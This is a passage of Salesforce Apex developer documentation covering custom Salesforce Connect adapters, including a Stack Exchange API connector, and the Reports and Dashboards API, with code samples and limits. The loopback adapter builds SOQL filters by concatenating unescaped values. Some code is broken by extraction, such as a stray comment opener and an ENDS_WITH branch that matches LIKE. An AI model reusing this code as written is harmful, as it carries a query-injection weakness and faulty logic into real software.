        columns.add(DataSource.Column.text('Name', 255));
        columns.add(
            DataSource.Column.number('NumberOfEmployees', 18, 0));
        tables.add(
            DataSource.Table.get('Looper', 'Name', columns));
        return tables;
    }

    /**
     * Called to query and get results from the external
     * system for SOQL queries, list views, and detail pages
     * for an external object that's associated with the
     * external data source.
     *
     * The QueryContext argument represents the query to run
     * against a table in the external system.
     *
     * Returns a list of rows as the query results.
     */
}
```

```

    /**
    override global DataSource.TableResult
    query(DataSource.QueryContext context) {
        if (context.tableSelection.columnsSelected.size() == 1 &&
            context.tableSelection.columnsSelected.get(0).aggregation ==
                DataSource.QueryAggregation.COUNT) {
            integer count = execCount(getCountQuery(context));
            List<Map<String, Object>> countResponse =
                new List<Map<String, Object>>();
            Map<String, Object> countRow =
                new Map<String, Object>();
            countRow.put(
                context.tableSelection.columnsSelected.get(0).columnName,
                count);
            countResponse.add(countRow);
            return DataSource.TableResult.get(context, countResponse);
        } else {
            List<Map<String, Object>> rows = execQuery(
                getSoqlQuery(context));
            return DataSource.TableResult.get(context, rows);
        }
    }

    /**
    * Called to do a full text search and get results from
    * the external system for SOSL queries and Salesforce
    * global searches.
    *
    * The SearchContext argument represents the query to run
    * against a table in the external system.
    *
    * Returns results for each table that the SearchContext
    * requested to be searched.
    */
    override global List<DataSource.TableResult>
    search(DataSource.SearchContext context) {
        return DataSource.SearchUtils.searchByName(context, this);
    }

    /**
    * Helper method to execute the SOQL query and
    * return the results.
    */
    private List<Map<String, Object>>
    execQuery(String soqlQuery) {
        List<Account> objs = Database.query(soqlQuery);
        List<Map<String, Object>> rows =
            new List<Map<String, Object>>();
        for (Account obj : objs) {
            Map<String, Object> row = new Map<String, Object>();
            row.put('Name', obj.Name);
            row.put('NumberOfEmployees', obj.NumberOfEmployees);
            row.put('ExternalId', obj.Id);
            row.put('DisplayUrl',

```

```

        URL.getOrgDomainUrl().toExternalForm() +
            obj.Id);
    rows.add(row);
}
return rows;
}

/**
 * Helper method to get aggregate count.
 */
private Integer execCount(String soqlQuery) {
    Integer count = Database.countQuery(soqlQuery);
    return count;
}

/**
 * Helper method to create default aggregate query.
 */
private String getCountQuery(DataSource.QueryContext context) {
    String baseQuery = 'SELECT COUNT() FROM Account';
    String filter = getSoqlFilter('',
        context.tableSelection.filter);
    if (filter.length() > 0)
        return baseQuery + ' WHERE ' + filter;
    return baseQuery;
}

/**
 * Helper method to create default query.
 */
private String getSoqlQuery(DataSource.QueryContext context) {
    String baseQuery =
        'SELECT Id,Name,NumberOfEmployees FROM Account';
    String filter = getSoqlFilter('',
        context.tableSelection.filter);
    if (filter.length() > 0)
        return baseQuery + ' WHERE ' + filter;
    return baseQuery;
}

/**
 * Helper method to handle query filter.
 */
private String getSoqlFilter(String query,
    DataSource.Filter filter) {
    if (filter == null) {
        return query;
    }
    String append;
    DataSource.FilterType type = filter.type;
    List<Map<String,Object>> retainedRows =
        new List<Map<String,Object>>();
    if (type == DataSource.FilterType.NOT_) {
        DataSource.Filter subfilter = filter.subfilters.get(0);

```



```

        append = getSoqlFilter('NOT', subfilter);
    } else if (type == DataSource.FilterType.AND_) {
        append =
            getSoqlFilterCompound('AND', filter.subfilters);
    } else if (type == DataSource.FilterType.OR_) {
        append =
            getSoqlFilterCompound('OR', filter.subfilters);
    } else {
        append = getSoqlFilterExpression(filter);
    }
    return query + ' ' + append;
}

/**
 * Helper method to handle query subfilters.
 */
private String getSoqlFilterCompound(String operator,
    List<DataSource.Filter> subfilters) {
    String expression = ' (';
    boolean first = true;
    for (DataSource.Filter subfilter : subfilters) {
        if (first)
            first = false;
        else
            expression += ' ' + operator + ' ';
        expression += getSoqlFilter(' ', subfilter);
    }
    expression += ') ';
    return expression;
}

/**
 * Helper method to handle query filter expressions.
 */
private String getSoqlFilterExpression(
    DataSource.Filter filter) {
    String columnName = filter.columnName;
    String operator;
    Object expectedValue = filter.columnValue;
    if (filter.type == DataSource.FilterType.EQUALS) {
        operator = '=';
    } else if (filter.type ==
        DataSource.FilterType.NOT_EQUALS) {
        operator = '<>';
    } else if (filter.type ==
        DataSource.FilterType.LESS_THAN) {
        operator = '<';
    } else if (filter.type ==
        DataSource.FilterType.GREATER_THAN) {
        operator = '>';
    } else if (filter.type ==
        DataSource.FilterType.LESS_THAN_OR_EQUAL_TO) {
        operator = '<=';
    } else if (filter.type ==

```

```

        DataSource.FilterType.GREATER_THAN_OR_EQUAL_TO) {
            operator = '>=';
        } else if (filter.type ==
            DataSource.FilterType.STARTS_WITH) {
            return mapColumnName(columnName) +
                ' LIKE \'' + String.valueOf(expectedValue) + '%\'';
        } else if (filter.type ==
            DataSource.FilterType.ENDS_WITH) {
            return mapColumnName(columnName) +
                ' LIKE \'' + String.valueOf(expectedValue) + '\'';
        } else if (filter.type ==
            DataSource.FilterType.LIKE_) {
            return mapColumnName(columnName) +
                ' LIKE \'' + String.valueOf(expectedValue) + '\'';
        } else {
            throwException(
                'Implementing other filter types is left as an exercise for the reader: '
                + filter.type);
        }
        return mapColumnName(columnName) +
            ' ' + operator + ' ' + wrapValue(expectedValue);
    }

    /**
     * Helper method to map column names.
     */
    private String mapColumnName(String apexName) {
        if (apexName.equalsIgnoreCase('ExternalId'))
            return 'Id';
        if (apexName.equalsIgnoreCase('DisplayUrl'))
            return 'Id';
        return apexName;
    }

    /**
     * Helper method to wrap expression Strings with quotes.
     */
    private String wrapValue(Object foundValue) {
        if (foundValue instanceof String)
            return '\'' + String.valueOf(foundValue) + '\'';
        return String.valueOf(foundValue);
    }
}

```

LoopbackDataSourceProvider Class

```

/**
 * Extends the DataSource.Provider base class to create a
 * custom adapter for Salesforce Connect. The class informs
 * Salesforce of the functional and authentication
 * capabilities that are supported by or required to connect
 * to an external system.
 */
global class LoopbackDataSourceProvider

```

```

extends DataSource.Provider {

    /**
     * Declares the types of authentication that can be used
     * to access the external system.
     */
    override global List<DataSource.AuthenticationCapability>
    getAuthenticationCapabilities() {
        List<DataSource.AuthenticationCapability> capabilities =
            new List<DataSource.AuthenticationCapability>();
        capabilities.add(
            DataSource.AuthenticationCapability.ANONYMOUS);
        capabilities.add(
            DataSource.AuthenticationCapability.BASIC);
        return capabilities;
    }

    /**
     * Declares the functional capabilities that the
     * external system supports.
     */
    override global List<DataSource.Capability>
    getCapabilities() {
        List<DataSource.Capability> capabilities =
            new List<DataSource.Capability>();
        capabilities.add(DataSource.Capability.ROW_QUERY);
        capabilities.add(DataSource.Capability.SEARCH);
        return capabilities;
    }

    /**
     * Declares the associated DataSource.Connection class.
     */
    override global DataSource.Connection
    getConnection(DataSource.ConnectionParams connectionParams) {
        return new LoopbackDataSourceConnection();
    }
}

```

Stack Overflow Custom Adapter for Salesforce Connect

This example illustrates how to support external lookup relationships and multiple tables. An external lookup relationship links a child standard, custom, or external object to a parent external object. Each table can become an external object in the Salesforce org.

For this example to work, create a custom field on the Contact standard object. Name the custom field “github_username” and select the External ID and Unique attributes.

StackOverflowDataSourceConnection Class

```

/**
 * Defines the connection to Stack Exchange API v2.2 to support
 * querying of Stack Overflow users (stackoverflowUser)
 * and posts (stackoverflowPost).
 * Extends the DataSource.Connection class to enable

```

```

*   Salesforce to sync the external system's schema
*   and to handle queries of the external data.
**/
global class StackOverflowDataSourceConnection extends
    DataSource.Connection {
    private DataSource.ConnectionParams connectionInfo;

    /**
     *   Constructor for StackOverflowDataSourceConnection
     */
    global StackOverflowDataSourceConnection(
        DataSource.ConnectionParams connectionInfo) {
        this.connectionInfo = connectionInfo;
    }

    /**
     *   Defines the schema for the external system.
     *   Called when the administrator clicks "Validate and Sync"
     *   in the user interface for the external data source.
     */
    override global List<DataSource.Table> sync() {
        List<DataSource.Table> tables =
            new List<DataSource.Table>();

        // Defines columns for the table of Stack OverFlow posts
        List<DataSource.Column> postColumns =
            new List<DataSource.Column>();

        // Defines the external lookup field.
        postColumns.add(DataSource.Column.externalLookup(
            'owner_id', 'stackoverflowUser__x'));
        postColumns.add(DataSource.Column.text('title', 255));
        postColumns.add(DataSource.Column.text('view_count', 255));
        postColumns.add(DataSource.Column.text('question_id', 255));
        postColumns.add(DataSource.Column.text('creation_date', 255));
        postColumns.add(DataSource.Column.text('score', 255));
        postColumns.add(DataSource.Column.url('link'));
        postColumns.add(DataSource.Column.url('DisplayUrl'));
        postColumns.add(DataSource.Column.text('ExternalId', 255));

        tables.add(DataSource.Table.get('stackoverflowPost', 'title',
            postColumns));

        // Defines columns for the table of Stack OverFlow users
        List<DataSource.Column> userColumns =
            new List<DataSource.Column>();
        userColumns.add(DataSource.Column.text('user_id', 255));
        userColumns.add(DataSource.Column.text('display_name', 255));
        userColumns.add(DataSource.Column.text('location', 255));
        userColumns.add(DataSource.Column.text('creation_date', 255));
        userColumns.add(DataSource.Column.url('website_url', 255));
        userColumns.add(DataSource.Column.text('reputation', 255));
        userColumns.add(DataSource.Column.url('link'));
        userColumns.add(DataSource.Column.url('DisplayUrl'));
    }
}

```

```

        userColumns.add(DataSource.Column.text('ExternalId',255));

        tables.add(DataSource.Table.get('stackoverflowUser',
            'Display_name', userColumns));

        return tables;
    }

    /**
     * Called to query and get results from the external
     * system for SOQL queries, list views, and detail pages
     * for an external object that's associated with the
     * external data source.
     *
     * The QueryContext argument represents the query to run
     * against a table in the external system.
     *
     * Returns a list of rows as the query results.
     */
    override global DataSource.TableResult query(
        DataSource.QueryContext context) {
        DataSource.Filter filter = context.tableSelection.filter;
        String url;

        // Sets the URL to query Stack Overflow posts
        if (context.tableSelection.tableSelected
            .equals('stackoverflowPost')) {
            if (filter != null) {
                String thisColumnName = filter.columnName;
                if (thisColumnName != null &&
                    thisColumnName.equals('ExternalId'))
                    url = 'https://api.stackexchange.com/2.2/'
                        + 'questions/' + filter.columnValue
                        + '?order=desc&sort=activity'
                        + '&site=stackoverflow';
                else
                    url = 'https://api.stackexchange.com/2.2/'
                        + 'questions'
                        + '?order=desc&sort=activity'
                        + '&site=stackoverflow';
            } else {
                url = 'https://api.stackexchange.com/2.2/'
                    + 'questions'
                    + '?order=desc&sort=activity'
                    + '&site=stackoverflow';
            }
        }
        // Sets the URL to query Stack Overflow users
        } else if (context.tableSelection.tableSelected
            .equals('stackoverflowUser')) {
            if (filter != null) {
                String thisColumnName = filter.columnName;
                if (thisColumnName != null &&
                    thisColumnName.equals('ExternalId'))
                    url = 'https://api.stackexchange.com/2.2/'

```

```

        + 'users/' + filter.columnValue
        + '?order=desc&sort=reputation'
        + '&site=stackoverflow';
    else
        url = 'https://api.stackexchange.com/2.2/'
            + 'users' +
'?order=desc&sort=reputation&site=stackoverflow';
    } else {
        url = 'https://api.stackexchange.com/2.2/'
            + 'users' + '?order=desc&sort=reputation'
            + '&site=stackoverflow';
    }
}

/**
 * Filters, sorts, and applies limit and offset clauses.
 */
List<Map<String, Object>> rows =
    DataSource.QueryUtils.process(context, getData(url));
return DataSource.TableResult.get(true, null,
    context.tableSelection.tableSelected, rows);
}

/**
 * Helper method to parse the data.
 * The url argument is the URL of the external system.
 * Returns a list of rows from the external system.
 */
public List<Map<String, Object>> getData(String url) {
    String response = getResponse(url);

    List<Map<String, Object>> rows =
        new List<Map<String, Object>>();

    Map<String, Object> responseBodyMap = (Map<String, Object>)
        JSON.deserializeUntyped(response);

    /**
     * Checks errors.
     */
    Map<String, Object> error =
        (Map<String, Object>) responseBodyMap.get('error');
    if (error!=null) {
        List<Object> errorsList =
            (List<Object>) error.get('errors');
        Map<String, Object> errors =
            (Map<String, Object>) errorsList[0];
        String errorMessage = (String) errors.get('message');
        throw new
            DataSource.OAuthTokenExpiredException(errorMessage);
    }

    List<Object> fileItems=
        (List<Object>) responseBodyMap.get('items');

```

```

        if (fileItems != null) {
            for (Integer i=0; i < fileItems.size(); i++) {
                Map<String, Object> item =
                    (Map<String, Object>) fileItems[i];
                rows.add(createRow(item));
            }
        } else {
            rows.add(createRow(responseBodyMap));
        }

        return rows;
    }

    /**
     * Helper method to populate the External ID and Display
     * URL fields on external object records based on the 'id'
     * value that's sent by the external system.
     *
     * The Map<String, Object> item parameter maps to the data
     * that represents a row.
     *
     * Returns an updated map with the External ID and
     * Display URL values.
     */
    public Map<String, Object> createRow(
        Map<String, Object> item) {
        Map<String, Object> row = new Map<String, Object>();
        for (String key : item.keySet()) {
            if (key.equals('question_id') || key.equals('user_id')) {
                row.put('ExternalId', item.get(key));
            } else if (key.equals('link')) {
                row.put('DisplayUrl', item.get(key));
            } else if (key.equals('owner')) {
                Map<String, Object> ownerMap =
                    (Map<String, Object>) item.get(key);
                row.put('owner_id', ownerMap.get('user_id'));
            }

            row.put(key, item.get(key));
        }
        return row;
    }

    /**
     * Helper method to make the HTTP GET call.
     * The url argument is the URL of the external system.
     * Returns the response from the external system.
     */
    public String getResponse(String url) {
        // Perform callouts for production (non-test) results.
        Http httpProtocol = new Http();
        HttpRequest request = new HttpRequest();
        request.setEndPoint(url);
        request.setMethod('GET');
    }

```

```

        HttpResponse response = httpProtocol.send(request);
        return response.getBody();
    }
}

```

StackOverflowPostDataSourceProvider Class

```

/**
 * Extends the DataSource.Provider base class to create a
 * custom adapter for Salesforce Connect. The class informs
 * Salesforce of the functional and authentication
 * capabilities that are supported by or required to connect
 * to an external system.
 */
global class StackOverflowPostDataSourceProvider
    extends DataSource.Provider {

    /**
     * For simplicity, this example declares that the external
     * system doesn't require authentication by returning
     * AuthenticationCapability.ANONYMOUS as the sole entry
     * in the list of authentication capabilities.
     */
    override global List<DataSource.AuthenticationCapability>
    getAuthentications() {
        List<DataSource.AuthenticationCapability> capabilities =
            new List<DataSource.AuthenticationCapability>();
        capabilities.add(
            DataSource.AuthenticationCapability.ANONYMOUS);
        return capabilities;
    }

    /**
     * Declares the functional capabilities that the
     * external system supports, in this case
     * only SOQL queries.
     */
    override global List<DataSource.Capability>
    getCapabilities() {
        List<DataSource.Capability> capabilities =
            new List<DataSource.Capability>();
        capabilities.add(DataSource.Capability.ROW_QUERY);
        return capabilities;
    }

    /**
     * Declares the associated DataSource.Connection class.
     */
    override global DataSource.Connection getConnection(
        DataSource.ConnectionParams connectionParams) {
        return new
            StackOverflowDataSourceConnection(connectionParams);
    }
}

```


Salesforce Reports and Dashboards API via Apex

The Salesforce Reports and Dashboards API via Apex gives you programmatic access to your report data as defined in the report builder.

The API enables you to integrate report data into any web or mobile application, inside or outside the Salesforce platform. For example, you might use the API to trigger a Chatter post with a snapshot of top-performing reps each quarter.

The Salesforce Reports and Dashboards API via Apex revolutionizes the way that you access and visualize your data. You can:

- Integrate report data into custom objects.
- Integrate report data into rich visualizations to animate the data.
- Build custom dashboards.
- Automate reporting tasks.

At a high level, the API resources enable you to query and filter report data. You can:

- Run tabular, summary, or matrix reports synchronously or asynchronously.
- Filter for specific data on the fly.
- Query report data and metadata.

Requirements and Limitations

The Salesforce Reports and Dashboards API via Apex is available for organizations that have API enabled.

Run Reports

You can run a report synchronously or asynchronously through the Salesforce Reports and Dashboards API via Apex.

List Asynchronous Runs of a Report

You can retrieve up to 2,000 instances of a report that you ran asynchronously.

Get Report Metadata

You can retrieve report metadata to get information about a report and its report type.

Get Report Data

You can use the `ReportResults` class to get the fact map, which contains data that's associated with a report.

Filter Reports

To get specific results on the fly, you can filter reports through the API.

Decode the Fact Map

The fact map contains the summary and record-level data values for a report.

Test Reports

Like all Apex code, Salesforce Reports and Dashboards API via Apex code requires test coverage.

SEE ALSO:

[Apex Reference Guide: Reports Namespace](#)

Requirements and Limitations

The Salesforce Reports and Dashboards API via Apex is available for organizations that have API enabled.

The following restrictions apply to the Reports and Dashboards API via Apex, in addition to general API limits.

- Cross filters, standard report filters, and filtering by row limit are unavailable when filtering data.
- Historical tracking reports are only supported for matrix reports.

- Subscriptions aren't supported for historical tracking reports.
- The API can process only reports that contain up to 100 fields selected as columns.
- A list of up to 200 recently viewed reports can be returned.
- Your org can request up to 500 synchronous report runs per hour.
- The API supports up to 20 synchronous report run requests at a time.
- A list of up to 2,000 instances of a report that was run asynchronously can be returned.
- The API supports up to 200 requests at a time to get results of asynchronous report runs.
- Your organization can request up to 1,200 asynchronous requests per hour.
- Asynchronous report run results are available within a 24-hour rolling period.
- The API returns up to the first 2,000 report rows. You can narrow results using filters.
- You can add up to 20 custom field filters when you run a report.
- If a report is run on a standard or custom object as an automated process user from an Apex test class, only the required custom fields are returned. Non-required custom fields aren't shown in the results.
- — Your org can request up to 200 dashboard refreshes per hour.
- — Your org can request results for up to 5,000 dashboards per hour.

In addition, the following restrictions apply to the Reports and Dashboards API via Apex.

- Asynchronous report calls are not allowed in batch Apex.
- Report calls are not allowed in Apex triggers.
- There is no Apex method to list recently run reports.
- The number of report rows processed during a synchronous report run count towards the governor limit that restricts the total number of rows retrieved by SOQL queries to 50,000 rows per transaction. This limit is not imposed when reports are run asynchronously.
- In Apex tests, report runs always ignore the `SeeAllData` annotation, regardless of whether the annotation is set to `true` or `false`. This means that report results will include pre-existing data that the test didn't create. There is no way to disable the `SeeAllData` annotation for a report execution. To limit results, use a filter on the report.
- In Apex tests, asynchronous report runs will execute only after the test is stopped using the `Test.stopTest` method.

 **Note:** All limits that apply to reports created in the report builder also apply to the API. For more information, see “Analytics Limits” in the Salesforce online help.

Run Reports

You can run a report synchronously or asynchronously through the Salesforce Reports and Dashboards API via Apex.

Reports can be run with or without details and can be filtered by setting report metadata. When you run a report, the API returns data for the same number of records that are available when the report is run in the Salesforce user interface.

Run a report synchronously if you expect it to finish running quickly. Otherwise, we recommend that you run reports through the Salesforce API asynchronously for these reasons:

- Long-running reports have a lower risk of reaching the timeout limit when they are run asynchronously.
- The Salesforce Reports and Dashboards API via Apex can handle a higher number of asynchronous run requests at a time.
- Because the results of an asynchronously run report are stored for a 24-hour rolling period, they're available for recurring access.

Example: Run a Report Synchronously

To run a report synchronously, use one of the `ReportManager.runReport()` methods. For example:

```
// Get the report ID
List<Report> reportList = [SELECT Id,DeveloperName FROM Report where
    DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');

// Run the report
Reports.ReportResults results = Reports.ReportManager.runReport(reportId, true);
System.debug('Synchronous results: ' + results);
```

Example: Run a Report Asynchronously

To run a report asynchronously, use one of the `ReportManager.runAsyncReport()` methods. For example:

```
// Get the report ID
List<Report> reportList = [SELECT Id,DeveloperName FROM Report where
    DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');

// Run the report
Reports.ReportInstance instance = Reports.ReportManager.runAsyncReport(reportId, true);
System.debug('Asynchronous instance: ' + instance);
```

List Asynchronous Runs of a Report

You can retrieve up to 2,000 instances of a report that you ran asynchronously.

The instance list is sorted by the date and time when the report was run. Report results are stored for a rolling 24-hour period. During this time, based on your user access level, you can access results for each instance of the report that was run.

 **Example:** You can get the instance list by calling the `ReportManager.getReportInstances` method. For example:

```
// Get the report ID
List<Report> reportList = [SELECT Id,DeveloperName FROM Report where
    DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');

// Run a report asynchronously
Reports.ReportInstance instance = Reports.ReportManager.runAsyncReport(reportId, true);
System.debug('List of asynchronous runs: ' +
    Reports.ReportManager.getReportInstances(reportId));
```

Get Report Metadata

You can retrieve report metadata to get information about a report and its report type.

Metadata includes information about fields that are used in the report for filters, groupings, detailed data, and summaries. You can use the metadata to do several things:

- Find out what fields and values you can filter on in the report type.
- Build custom chart visualizations by using the metadata information on fields, groupings, detailed data, and summaries.
- Change filters in the report metadata when you run a report.

Use the `ReportResults.getReportMetadata` method to retrieve report metadata. You can then use the “get” methods on the `ReportMetadata` class to access metadata values.

 **Example:** The following example retrieves metadata for a report.

```
// Get the report ID
List<Report> reportList = [SELECT Id,DeveloperName FROM Report where
    DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');

// Run a report
Reports.ReportResults results = Reports.ReportManager.runReport(reportId);

// Get the report metadata
Reports.ReportMetadata rm = results.getReportMetadata();
System.debug('Name: ' + rm.getName());
System.debug('ID: ' + rm.getId());
System.debug('Currency code: ' + rm.getCurrencyCode());
System.debug('Developer name: ' + rm.getDeveloperName());

// Get grouping info for first grouping
Reports.GroupingInfo gInfo = rm.getGroupingsDown()[0];
System.debug('Grouping name: ' + gInfo.getName());
System.debug('Grouping sort order: ' + gInfo.getSortOrder());
System.debug('Grouping date granularity: ' + gInfo.getDateGranularity());

// Get aggregates
System.debug('First aggregate: ' + rm.getAggregates()[0]);
System.debug('Second aggregate: ' + rm.getAggregates()[1]);

// Get detail columns
System.debug('Detail columns: ' + rm.getDetailColumns());

// Get report format
System.debug('Report format: ' + rm.getReportFormat());
```

Get Report Data

You can use the `ReportResults` class to get the fact map, which contains data that’s associated with a report.

 **Example:** To access data values of the fact map, you can map grouping value keys to the corresponding fact map keys. In the following example, imagine that you have an opportunity report that’s grouped by close month, and you’ve summarized the amount field. To get the value for the summary amount for the first grouping in the report:

1. Get the first down-grouping in the report by using the `ReportResults.getGroupingsDown` method and accessing the first `GroupingValue` object.
2. Get the grouping key value from the `GroupingValue` object by using the `getKey` method.
3. Construct a fact map key by appending `!T` to this key value. The resulting fact map key represents the summary value for the first down-grouping.
4. Get the fact map from the report results by using the fact map key.
5. Get the first summary amount value by using the `ReportFact.getAggregates` method and accessing the first `SummaryValue` object.

6. Get the field value from the first data cell of the first row of the report by using the `ReportFactWithDetails.getRows` method.

```
// Get the report ID
List<Report> reportList = [SELECT Id,DeveloperName FROM Report where
    DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');

// Run a report synchronously
Reports.reportResults results = Reports.ReportManager.runReport(reportId, true);

// Get the first down-grouping in the report
Reports.Dimension dim = results.getGroupingsDown();
Reports.GroupingValue groupingVal = dim.getGroupings()[0];
System.debug('Key: ' + groupingVal.getKey());
System.debug('Label: ' + groupingVal.getLabel());
System.debug('Value: ' + groupingVal.getValue());

// Construct a fact map key, using the grouping key value
String factMapKey = groupingVal.getKey() + '!T';

// Get the fact map from the report results
Reports.ReportFactWithDetails factDetails =
    (Reports.ReportFactWithDetails)results.getFactMap().get(factMapKey);

// Get the first summary amount from the fact map
Reports.SummaryValue sumVal = factDetails.getAggregates()[0];
System.debug('Summary Value: ' + sumVal.getLabel());

// Get the field value from the first data cell of the first row of the report
Reports.ReportDetailRow detailRow = factDetails.getRows()[0];
System.debug(detailRow.getDataCells()[0].getLabel());
```

Filter Reports

To get specific results on the fly, you can filter reports through the API.

Changes to filters that are made through the API don't affect the source report definition. Using the API, you can filter with up to 20 custom field filters and add filter logic (such as AND and OR). But standard filters (such as range), filtering by row limit, and cross filters are unavailable.

Before you filter a report, it's helpful to check the following filter values in the metadata.

- The `ReportTypeColumn.getFilterable` method tells you whether a field can be filtered.
- The `ReportTypeColumn.filterValues` method returns all filter values for a field.
- The `ReportManager.dataTypeFilterOperatorMap` method lists the field data types that you can use to filter the report.
- The `ReportMetadata.getReportFilters` method lists all filters that exist in the report.

You can filter reports during synchronous or asynchronous report runs.



Example: To filter a report, set filter values in the report metadata and then run the report. The following example retrieves the report metadata, overrides the filter value, and runs the report. The example:

1. Retrieves the report filter object from the metadata by using the `ReportMetadata.getReportFilters` method.

2. Sets the value in the filter to a specific date by using the `ReportFilter.setValue` method and runs the report.
3. Overrides the filter value to a different date and runs the report again.

The output for the example shows the differing grand total values, based on the date filter that was applied.

```
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
    DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');

// Get the report metadata
Reports.ReportDescribeResult describe = Reports.ReportManager.describeReport(reportId);
Reports.ReportMetadata reportMd = describe.getReportMetadata();

// Override filter and run report
Reports.ReportFilter filter = reportMd.getReportFilters()[0];
filter.setValue('2013-11-01');
Reports.ReportResults results = Reports.ReportManager.runReport(reportId, reportMd);
Reports.ReportFactWithSummaries factSum =
    (Reports.ReportFactWithSummaries)results.getFactMap().get('T!T');
System.debug('Value for November: ' + factSum.getAggregates()[0].getLabel());

// Override filter and run report
filter = reportMd.getReportFilters()[0];
filter.setValue('2013-10-01');
results = Reports.ReportManager.runReport(reportId, reportMd);
factSum = (Reports.ReportFactWithSummaries)results.getFactMap().get('T!T');
System.debug('Value for October: ' + factSum.getAggregates()[0].getLabel());
```

Decode the Fact Map

The fact map contains the summary and record-level data values for a report.

Depending on how you run a report, the fact map in the report results can contain values for only summary or both summary and detailed data. The fact map values are expressed as keys, which you can programmatically use to visualize the report data. Fact map keys provide an index into each section of a fact map, from which you can access summary and detailed data.

The pattern for the fact map keys varies by report format as shown in this table.

Report format	Fact map key pattern
Tabular	T!T: The grand total of a report. Both record data values and the grand total are represented by this key.
Summary	<First level row grouping_second level row grouping_third level row grouping>! T: T refers to the row grand total.
Matrix	<First level row grouping_second level row grouping>! <First level column grouping_second level column grouping>.

Each item in a row or column grouping is numbered starting with 0. Here are some examples of fact map keys:

Fact Map Key	Description
0 ! T	The first item in the first-level grouping.
1 ! T	The second item in the first-level grouping.
0_0 ! T	The first item in the first-level grouping and the first item in the second-level grouping.
0_1 ! T	The first item in the first-level grouping and the second item in the second-level grouping.

Let's look at examples of how fact map keys represent data as it appears in a Salesforce tabular, summary, or matrix report.

Tabular Report Fact Map

Here's an example of an opportunities report in tabular format. Since tabular reports don't have groupings, all of the record level data and summaries are expressed by the **T ! T** key, which refers to the grand total.

Preview Tabular Format ▼					
Opportunity Name	Close Date	Probability (%)	Next Step	Expected Revenue	
Data Mart - 44K	1/1/2013	90%	great win for us	\$16,200.00	
Data Mart - 10K	1/17/2013	90%	great win for us	\$12,600.00	
Data Mart - 2K	2/1/2013	90%	great win for us	\$12,600.00	
Data Mart - 41K	2/1/2013	90%	great win for us	\$6,300.00	
Data Mart - 19K	2/17/2013	90%	great win for us	\$13,500.00	
Data Mart - 31K	3/3/2013	90%	great win for us	\$11,700.00	
Data Mart - 2K	3/19/2013	75%	great win for us	\$9,750.00	
Data Mart - 2K	3/25/2013	T ! T	great win for us	\$7,200.00	
Data Mart - 7K	3/31/2013		great win for us	\$6,300.00	
Data Mart - 21K	4/16/2013	75%	great win for us	\$6,000.00	
Data Mart - 660	5/1/2013	75%	great win for us	\$8,250.00	
Data Mart - 2K	5/1/2013	75%	great win for us	\$5,250.00	
Data Mart - 3K	5/1/2013	75%	great win for us	\$2,250.00	
Data Mart - 9K	5/16/2013	75%	great win for us	\$6,750.00	
Data Mart - 11K	5/31/2013	75%	great win for us	\$10,500.00	
Data Mart - 7K	6/1/2013	75%	great win for us	\$12,000.00	
Data Mart - 50K	7/1/2013	75%	great win for us	\$12,000.00	
Grand Totals (17 records)		avg 82%		\$159,150.00	

Summary Report Fact Map

This example shows how the values in a summary report are represented in the fact map.

Opportunity Name	Account Name	Amount	Type	Probability (%)	Fiscal Period	Age
Stage: Prospecting (1 record)						
		\$45,000.00		0!T		
Industry: Manufacturing (1 record)						
		\$45,000.00				
Acme - Widgets	Acme	\$45,000.00	New Business	10%	Q2-2013	177
Stage: Needs Analysis (1 record)						
		\$105,000.00				
Industry: Manufacturing (1 record)						
		\$105,000.00	1_0!T			
Global Gadgets	Global Media	\$105,000.00	Existing Business	20%	Q2-2013	184

Fact Map Key Description

0!T	Summary for the value of opportunities in the Prospecting stage.
1_0!T	Summary of the probabilities for the Manufacturing opportunities in the Needs Analysis stage.

Matrix Report Fact Map

Here's an example of some fact map keys for data in a matrix opportunities report with a couple of row and column groupings.

Sum of Amount		Close Date	Q4 CY2010				Q1 CY2011				Grand Total
Stage	Industry	Close Date (2)	October 2010	November 2010	December 2010	Subtotal	January 2011	February 2011	March 2011	Subtotal	
Prospecting	Manufacturing	Sum of Amount	\$0.00	\$50,000.00	\$0.00	\$50,000.00	\$0.00	\$0.00	\$0.00	\$0.00	\$50,000.00
	Subtotal	Sum of Amount	\$0.00	\$50,000.00	\$0.00	\$50,000.00	\$0.00	\$0.00	\$0.00	\$0.00	\$50,000.00
Needs Analysis	Manufacturing	Sum of Amount	\$0.00	\$0.00	\$0.00	\$0.00	\$0.00	\$120,000.00	\$0.00	\$120,000.00	\$120,000.00
	Subtotal	Sum of Amount	\$0.00	\$0.00	\$0.00	\$0.00	\$0.00	\$120,000.00	\$0.00	\$120,000.00	\$120,000.00
Value Proposition	Manufacturing	Sum of Amount	\$0.00	\$0.00	\$20,000.00	\$20,000.00	\$0.00	\$0.00	\$0.00	\$0.00	\$20,000.00
	Technology	Sum of Amount	\$0.00	\$0.00	\$0.00	\$0.00	\$0.00	\$20,000.00	\$0.00	\$20,000.00	\$20,000.00
	Subtotal	Sum of Amount	\$0.00	\$0.00	\$20,000.00	\$20,000.00	\$0.00	\$20,000.00	\$0.00	\$20,000.00	\$40,000.00
Id. Decision Makers	Manufacturing	Sum of Amount	\$0.00	\$0.00	\$0.00	\$0.00	\$40,000.00	\$0.00	\$0.00	\$40,000.00	\$40,000.00
	Subtotal	Sum of Amount	\$0.00	\$0.00	\$0.00	\$0.00	\$40,000.00	\$0.00	\$0.00	\$40,000.00	\$40,000.00
Negotiation/Review	Technology	Sum of Amount	\$0.00	\$0.00	\$100,000.00	\$100,000.00	\$0.00	\$0.00	\$0.00	\$0.00	\$100,000.00
	Subtotal	Sum of Amount	\$0.00	\$0.00	\$100,000.00	\$100,000.00	\$0.00	\$0.00	\$0.00	\$0.00	\$100,000.00
Closed Won	Manufacturing	Sum of Amount	\$0.00	\$400,000.00	\$0.00	\$400,000.00	\$0.00	\$0.00	\$0.00	\$0.00	\$400,000.00
	Subtotal	Sum of Amount	\$0.00	\$400,000.00	\$0.00	\$400,000.00	\$0.00	\$0.00	\$0.00	\$0.00	\$400,000.00
